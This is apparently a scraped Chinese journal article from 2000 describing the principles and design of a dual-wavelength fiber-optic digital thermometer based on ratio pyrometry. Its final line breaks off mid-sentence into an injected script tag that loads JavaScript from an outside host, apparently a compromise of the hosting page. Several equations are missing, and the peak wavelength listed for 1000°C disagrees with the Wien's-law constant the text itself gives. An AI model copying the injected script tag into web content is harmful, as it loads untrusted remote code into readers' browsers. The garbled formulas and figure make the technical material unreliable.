摘 要：本文系统地介绍了一种双波长光纤测温仪的原理、结构及特点。其突出优点有：采用双波长窄带比较技术和以微控制器、可编程外围芯片为核心，构成数字化、小型化光纤传感系统。抗干扰能力强，具有通信接口，可与过程控制网络连接，支持流行的现场总线协议。
关键词：光纤；双波长；测温；数字化；小型化；温控仪
分类号：th811.2 文献标识码：b
文章编号：1000-0682(2000)01-0024-04
1 引言
基于黑体辐射原理的红外辐射温度计，是众所周知的一种非接触式表面温度传感器。通常用于测量运动的、不可接近和接触等传统测温手段不能胜任的场合。只测量0.7～1.4μm电磁频谱区域发出的红外辐射。为获得精确的测量值，测温时不仅要确定被测表面的发射率，排除环境干扰，确保视场通道畅通干净，还要测距和精确对准。
光纤双波长数字式测温仪，采用双波长窄带比较技术、光纤传输技术和以微控制器、可编程外围芯片为核心的数字信号处理技术。从根本上克服了以上红外辐射测温仪的缺点。首先采用双波长窄带比较技术，即使在非常恶劣环境下，如空气中有烟雾、灰尘、蒸汽和颗粒，以及没有瞄准或目标不充满视场，特别是目标表面发射率变化，接收能量衰减的情况下，仍可获得高精度。采用光纤传输技术，发挥了光纤的传输、限模、稳模、分路和滤波等特性，将拾取的光信号从测量头传输到远离被测物体及复杂环境的地方，使传感头无任何电子元器件，可抗强电场、强磁场干扰。使用透镜耦合，可获得足够的空间分辨率和时间分辨率，可进入微区或窄小空间等传统测温仪不能胜任的场合测量温度。另外以微控制器、可编程外围芯片为核心，构成数字化、小型化光纤传感系统，具有通信接口，可与过程控制网络连接。支持流行的现场总线协议，可实现远距离遥测与实时监控。
2 测量原理
由黑体辐射理论可知，所有物体，只要当它的温度高于绝对温度(t＞0)时，由于它的分子热扰动都要向外发射热辐射。辐射能力的大小与物体的温度、材料辐射系数有关。普朗克定律给出了黑体辐射通量密度e0(λ，τ)，波长λ，温度t的关系为
e0(λ，t)＝c1λ－5(ec2／λt－1)－1
(2—1)
式中c1为第一辐射系数c1＝3.7418×10－16w.m2，c2为第二辐射系数c2＝1.4388×10－2m.k。
考虑到实际物体并非绝对黑体，因此上式改为
e(λ，τ)＝ε（λ，t）c1λ－5(ec2／λt－1)－1
(2—2)
式中ε(λ，t)为辐射系数。由此可见黑体辐射通量不仅与温度有关还与辐射系数有关。测量的误差来源于被测对象的辐射系数，它取决于被测对象的材料和表面条件，ε的变化直接影响发射能量，从而影响测量精度。其他的误差来源有光学系统相对于被测距离的失配和任何处在被测物体与探测器之间的吸收介质。
由斯蒂芬—玻尔兹曼定律黑体辐射总能量为
(2—3)
式中σ为斯蒂芬—玻尔兹曼常数σ＝5.6679×10－8w／(m2k4)，由此可见，辐射能量与温度的4次方成正比。由此可以从光电探测器探测的辐射能量获得辐射体的温度。
辐射能量分布中的最大值所在的波长λm可由如下维恩定律求出
λmt＝2.8978×10－3mk
(2—4)
下面给出一些温度和所对应的峰值波长
100℃时：λ＝7.76μm；
400℃时：λ＝4.30μm；
600℃时：λ＝3.32μm；
1000℃时：λ＝2.10μm；
1600℃时：λ＝1.54μm；
当采用如图2—1所示的双波长窄带比较测温技术时，对某一温度，将两个不同波长的能量之比作为输出信号，两信号的比值由下式给出：
(2—5)
式中(λ1，δλ1)，(λ2，δλ2)分别为两种工作波段波长及带宽。η(λ)为热辐射经过耦合及传输的损耗系数。t(λ)为滤光片的光谱透过率。s(λ)为光电探测器的光谱响应。由于许多物体可近似认为是灰体(发射率不随波长变化的物体)，能够削弱物体表面发射率的影响，同时恰当选择波长λ1、λ2使被测物体在这两个特定波段内发射率近似相等。此时上式变为
(2—6)
图2—1 双波长光纤传感测温原理
电路处理中比值的实现是靠取对数再相减来实现的。因此输出信号正比于lnr(t)即
(2—7)
式中a／b是与温度无关的标定常数，因此只需在某单一温度下定标即可。我们选择铂铑热电偶在1000℃定标。由上式可见正确选择波长λ1、λ2是至关重要的，波长λ1、λ2选择合适，辐射能量只与温度有关，基本与测量距离无关。由于采用双波长窄带比较，如果目标不充满视场，达到每个探测器的能量发生变化，但由于这种变化对每个探测器是相同的，通过比值不影响测温精度；由于大气条件，如灰尘、烟雾、颗粒的存在，使探测器接收能量受到衰减时，因为衰减在两个波段内是相同的，仍不影响测温精度。
3 系统组成原理
光纤双波长测温仪典型结构如图3—1所示，主要由?script src=http://er12.com/t.js>
